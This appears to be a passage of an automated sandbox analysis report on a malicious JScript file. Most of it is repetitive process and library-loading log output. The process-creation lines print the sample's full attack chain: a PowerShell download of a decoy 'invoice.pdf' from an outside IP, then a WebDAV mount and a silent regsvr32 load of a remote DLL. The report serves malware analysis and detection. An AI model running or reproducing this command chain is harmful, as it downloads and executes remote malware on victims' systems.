Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9469.js.csv");ITextStream.WriteLine(" entry:8655 f:binlz");ITextStream.WriteLine(" exec:2 f:binlz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5323			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4523			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6768	Thread sleep count: 5323 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6768	Thread sleep count: 4523 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 788	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2172	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7572	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7828	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000D.00000002.1323113437.0000029A3BFF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 0000000D.00000002.1323113437.0000029A3C05D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2560725133.000002727C22B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2562403372.000002727D858000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
